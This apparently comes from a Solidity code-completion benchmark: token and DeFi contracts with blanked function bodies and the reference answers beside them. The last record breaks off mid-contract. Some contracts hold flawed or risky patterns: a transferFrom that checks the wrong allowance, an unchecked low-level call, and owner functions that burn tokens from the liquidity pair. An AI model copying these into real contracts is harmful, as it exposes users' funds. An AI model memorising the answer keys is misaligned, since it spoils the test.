_maxFromTokenAmount, IToken _toToken, uint _minToTokenAmount, bytes memory _data ) internal returns(uint) { IOneInchExchange ex = IOneInchExchange(0x11111254369792b2Ca5d084aB5eEA397cA8fa48B); // Approve tokens for 1inch uint256 ethAmount = 0; if (address(_fromToken) != ETH_ADDRESS) { if (_fromToken.allowance(address(this), ex.spender()) != uint(-1)) { _fromToken.approve(ex.spender(), uint(-1)); } } else { ethAmount = _maxFromTokenAmount; } uint fromTokenBalance = _fromToken.universalBalanceOf(address(this)); uint toTokenBalance = _toToken.universalBalanceOf(address(this)); bytes32 response; assembly { // call(g, a, v, in, insize, out, outsize) let succeeded := call(sub(gas, 5000), ex, ethAmount, add(_data, 0x20), mload(_data), 0, 32) response := mload(0) // load delegatecall output //switch iszero(succeeded) //case 1 { // // throw if call failed // revert(0, 0) //} } require(_fromToken.universalBalanceOf(address(this)) + _maxFromTokenAmount >= fromTokenBalance, "Exchange error"); uint newBalanceToToken = _toToken.universalBalanceOf(address(this)); require(newBalanceToToken >= toTokenBalance + _minToTokenAmount, "Exchange error"); return sub(newBalanceToToken, toTokenBalance); // how many tokens received } function _clearStrategy(address _dfWallet) internal { strategies[_dfWallet] = Strategy(0, 0, 0, 0, 0, 0, address(0)); } // ** FALLBACK functions ** function() external payable {} }
Strategy memory strategy = strategies[_dfWallet]; require(strategy.deposit > 0 && strategy.ethForRedeem > 0, "Strategy is not exists or ready for close"); uint ethLocked = ICToken(CETH_ADDRESS).balanceOfUnderlying(_dfWallet); // uint ethForRedeem = wmul(ICToken(CUSDC_ADDRESS).borrowBalanceStored(_dfWallet), _usdPrice, 1e6) * 1e12; IToken(USDC_ADDRESS).approve(_dfWallet, uint(-1)); IDfWallet(_dfWallet).withdraw(ETH_ADDRESS, CETH_ADDRESS, USDC_ADDRESS, CUSDC_ADDRESS); // revert if already withdrawn // TODO: add affiliate // uint systemProfit = sub(sub(ethLocked, strategy.deposit), strategy.ethForRedeem) * strategy.fee / 100; // ethLocked = sub(ethLocked, affiliateProcess(strategy.owner, systemProfit)); // Transfer deposited eth with profit to strategy owner if (strategy.usdToWithdraw > 0) { _transferEth(address(loanPool), ethLocked); IToken(USDC_ADDRESS).universalTransfer(strategy.owner, strategy.usdToWithdraw); emit StrategyClosed(_dfWallet, strategy.usdToWithdraw, address(USDC_ADDRESS)); } else { _transferEth(address(loanPool), strategy.ethForRedeem); uint profitEth = _getProfitEth(_dfWallet, ethLocked, strategy.ethForRedeem); IToken(ETH_ADDRESS).universalTransfer(strategy.owner, add(strategy.deposit, profitEth)); emit StrategyClosed(_dfWallet, add(strategy.deposit, profitEth), address(0)); } // clear _dfWallet strategy struct _clearStrategy(_dfWallet);
function closeStrategy(address _dfWallet) public
// ** PUBLIC function ** function closeStrategy(address _dfWallet) public
93894
StandardToken
transfer
contract StandardToken is Token,Mortal,Pausable { function transfer(address _to, uint256 _value)public whenNotPaused returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address _from, address _to, uint256 totalTokensToTransfer)public whenNotPaused returns (bool success) { require(_from!=0x0); require(_to!=0x0); require(totalTokensToTransfer>0); if (balances[_from] >= totalTokensToTransfer&&allowance(_from,_to)>=totalTokensToTransfer) { balances[_to] += totalTokensToTransfer; balances[_from] -= totalTokensToTransfer; allowed[_from][msg.sender] -= totalTokensToTransfer; Transfer(_from, _to, totalTokensToTransfer); return true; } else { return false; } } function balanceOf(address _owner)public constant returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value)public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender)public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; }
contract StandardToken is Token,Mortal,Pausable { <FILL_FUNCTION> function transferFrom(address _from, address _to, uint256 totalTokensToTransfer)public whenNotPaused returns (bool success) { require(_from!=0x0); require(_to!=0x0); require(totalTokensToTransfer>0); if (balances[_from] >= totalTokensToTransfer&&allowance(_from,_to)>=totalTokensToTransfer) { balances[_to] += totalTokensToTransfer; balances[_from] -= totalTokensToTransfer; allowed[_from][msg.sender] -= totalTokensToTransfer; Transfer(_from, _to, totalTokensToTransfer); return true; } else { return false; } } function balanceOf(address _owner)public constant returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value)public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender)public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; }
require(_to!=0x0); require(_value>0); if (balances[msg.sender] >= _value) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; }
function transfer(address _to, uint256 _value)public whenNotPaused returns (bool success)
function transfer(address _to, uint256 _value)public whenNotPaused returns (bool success)
19332
BitDefi
_transferBurnNo
contract BitDefi is ERC20Detailed { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; string constant tokenName = "BitDEFi"; string constant tokenSymbol = "BFi"; uint8 constant tokenDecimals = 8; uint256 _totalSupply = 20000000000000; uint256 constant noFee = 100000001; //2254066 //uint256 constant startBlock = 8074686; //2% uint256 constant heightEnd20Percent = 10328752; //1% uint256 constant heightEnd10Percent = 12582818; //0.5% uint256 constant heightEnd05Percent = 14836884; //0.25% constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _mint(msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function findPercent(uint256 value) public view returns (uint256) { //uint256 roundValue = value.ceil(basePercent); uint256 currentRate = returnRate(); uint256 onePercent = value.div(currentRate); return onePercent; } function returnRate() public view returns(uint256) { if ( block.number < heightEnd20Percent) return 50; if (block.number >= heightEnd20Percent && block.number < heightEnd10Percent) return 100; if (block.number >= heightEnd10Percent && block.number < heightEnd05Percent) return 200; if (block.number >= heightEnd05Percent) return 400; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); if (value < noFee) { _transferBurnNo(to,value); } else { _transferBurnYes(to,value); } return true; } function _transferBurnYes(address to, uint256 value) internal { require(value <= _balances[msg.sender]); require(to != address(0)); require(value >= noFee); uint256 tokensToBurn = findPercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); } function _transferBurnNo(address to, uint256 value) internal {<FILL_FUNCTION_BODY> } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); if (value < noFee) { _transferFromBurnNo(from, to, value); } else { _transferFromBurnYes(from, to, value); } return true; } function _transferFromBurnYes(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); require(value >= noFee); _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = findPercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); } function _transferFromBurnNo(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); require(value < noFee); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _mint(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function burnFrom(address account, uint256 amount) external { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount); _burn(account, amount); } }
contract BitDefi is ERC20Detailed { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; string constant tokenName = "BitDEFi"; string constant tokenSymbol = "BFi"; uint8 constant tokenDecimals = 8; uint256 _totalSupply = 20000000000000; uint256 constant noFee = 100000001; //2254066 //uint256 constant startBlock = 8074686; //2% uint256 constant heightEnd20Percent = 10328752; //1% uint256 constant heightEnd10Percent = 12582818; //0.5% uint256 constant heightEnd05Percent = 14836884; //0.25% constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _mint(msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function findPercent(uint256 value) public view returns (uint256) { //uint256 roundValue = value.ceil(basePercent); uint256 currentRate = returnRate(); uint256 onePercent = value.div(currentRate); return onePercent; } function returnRate() public view returns(uint256) { if ( block.number < heightEnd20Percent) return 50; if (block.number >= heightEnd20Percent && block.number < heightEnd10Percent) return 100; if (block.number >= heightEnd10Percent && block.number < heightEnd05Percent) return 200; if (block.number >= heightEnd05Percent) return 400; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); if (value < noFee) { _transferBurnNo(to,value); } else { _transferBurnYes(to,value); } return true; } function _transferBurnYes(address to, uint256 value) internal { require(value <= _balances[msg.sender]); require(to != address(0)); require(value >= noFee); uint256 tokensToBurn = findPercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); } <FILL_FUNCTION> function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); if (value < noFee) { _transferFromBurnNo(from, to, value); } else { _transferFromBurnYes(from, to, value); } return true; } function _transferFromBurnYes(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); require(value >= noFee); _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = findPercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); } function _transferFromBurnNo(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); require(value < noFee); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _mint(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function burnFrom(address account, uint256 amount) external { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount); _burn(account, amount); } }
require(value <= _balances[msg.sender]); require(to != address(0)); require(value < noFee); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value);
function _transferBurnNo(address to, uint256 value) internal
function _transferBurnNo(address to, uint256 value) internal
39818
GasPumpInu
swapBack
contract GasPumpInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = false; bool public tradingActive = true; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Gas Pump Inu", "GPI") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 3; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 8; uint256 _sellLiquidityFee = 5; uint256 _sellDevFee = 2; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 20 / 1000; // 2% maxWallet swapTokensAtAmount = totalSupply * 25 / 10000; // 0.25% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private {<FILL_FUNCTION_BODY> } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
contract GasPumpInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = false; bool public tradingActive = true; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Gas Pump Inu", "GPI") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 3; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 8; uint256 _sellLiquidityFee = 5; uint256 _sellDevFee = 2; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 20 / 1000; // 2% maxWallet swapTokensAtAmount = totalSupply * 25 / 10000; // 0.25% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function 